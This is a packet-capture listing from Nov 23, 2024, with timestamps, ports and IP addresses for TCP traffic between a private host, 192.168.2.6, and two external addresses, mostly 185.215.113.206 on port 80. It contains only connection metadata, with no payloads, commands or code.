Nov 23, 2024 02:55:15.495628119 CET	443	49719	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.502233982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.502317905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.502330065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.502368927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.506407976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.506465912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.506501913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.506546021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.514791012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.514839888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.514905930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.514955044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.523171902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.523217916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.523260117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.523304939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.531533957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.531570911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.531577110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.531605005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.579168081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.579281092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.579307079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.579433918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.583342075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.583427906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.583445072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.583503962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.591730118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.591814995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.591826916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.591991901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.600121021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.600203991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.600235939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.600284100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.608479977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.608577967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.608647108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.616816044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.616889000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.616914034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.616959095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.625190020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.625262976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.628917933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.628981113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.629075050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.629276991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.630496025 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.630527973 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.630544901 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.630584002 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.630611897 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.630628109 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.630670071 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.636127949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.636193037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.636226892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.636418104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.643399954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.643496990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.643531084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.643577099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.650664091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.650762081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.650789976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.650856972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.657284021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.657392025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.658447027 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.658476114 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.658525944 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.658544064 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.658557892 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.658591986 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.658605099 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.658632994 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.659044981 CET	49717	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.659061909 CET	443	49717	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.703728914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.703787088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.703839064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.703859091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.706551075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.706645966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.706671953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.706739902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.712726116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.712855101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.712893963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.712953091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.718894005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.719017029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.719022036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.719075918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.725060940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.725133896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.725171089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.725233078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.731228113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.731333971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.731350899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.731417894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.737391949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.737479925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.737528086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.737581015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.740197897 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.740233898 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.740434885 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.743561983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.743664980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.743702888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.743956089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.744961023 CET	49725	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.744980097 CET	443	49725	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.749742031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.749826908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.749851942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.750035048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.780436039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.780534983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.780637026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.782490015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.782629013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.782696009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.786138058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.786218882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.786277056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.786389112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.789925098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.790009022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.790067911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.790246964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.793751001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.793824911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.793864965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.793916941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.797549009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.797638893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.797650099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.797718048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.801350117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.801459074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.801491022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.804440975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.805181026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.805320024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.805383921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.809005976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.809081078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.809092045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.809146881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.813744068 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.813844919 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.813921928 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.813936949 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.814130068 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.814130068 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.814152002 CET	443	49718	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:15.814302921 CET	49718	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:15.827868938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.827933073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.827995062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.828157902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.829771996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.829898119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.829967976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.833586931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.833672047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.833724022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.833779097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.837199926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.837285042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.837322950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.837455034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.844167948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.844206095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.844247103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.844265938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.846815109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.846853018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.846904993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.846925974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.850526094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.850562096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.850614071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.850614071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.854109049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.854233980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.854288101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.855871916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.857767105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.857960939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.906486034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.906573057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.906794071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.906857014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.908112049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.908175945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.908262014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.908313990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.911434889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.911546946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.912681103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.912785053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.912841082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.912889004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.915934086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.916080952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.916125059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.916438103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.919249058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.919342041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.919414043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.919517040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.922744989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.922781944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.922884941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.922884941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.926023006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.926165104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.926244974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.926304102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.929354906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.929389954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.929441929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.932486057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.932681084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.932744026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.935713053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.935849905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.935898066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.935975075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.937803030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.937839985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.937875986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.937948942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.941848040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.941883087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.941966057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.941966057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.944642067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.944720030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.944788933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.944837093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.945692062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.945810080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.945879936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.981583118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.981647015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.981679916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.981719017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.982696056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.982762098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.982804060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.982851982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.984811068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.984906912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.984961987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.986949921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.987020016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.987061977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.987111092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.989125967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.989176989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.989231110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.991257906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.991375923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.991399050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.991445065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.993432999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.993546963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.993638992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.995583057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.995707989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.995771885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.997735023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.997807980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:15.997859001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:15.997901917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.000061035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.000101089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.000119925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.000349045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.002063990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.002173901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.002187967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.002239943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.004230022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.004328012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.004359007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.004420996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.006366014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.006438017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.006503105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.006580114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.008550882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.008608103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.008675098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.008727074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.010699987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.010792971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.010818958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.010957956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.012859106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.012927055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.012976885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.013021946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.015016079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.015135050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.015171051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.015188932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.017151117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.020522118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.029258966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.029316902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.029386044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.029448986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.030350924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.030400038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.030466080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.030575037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.032507896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.032619953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.032623053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.032700062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.034676075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.034754992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.034810066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.034861088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.036815882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.036947966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.037008047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.039001942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.039055109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:16.039119005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:16.039177895 CET	49714	80	192.168.2.6	185.215.113.206
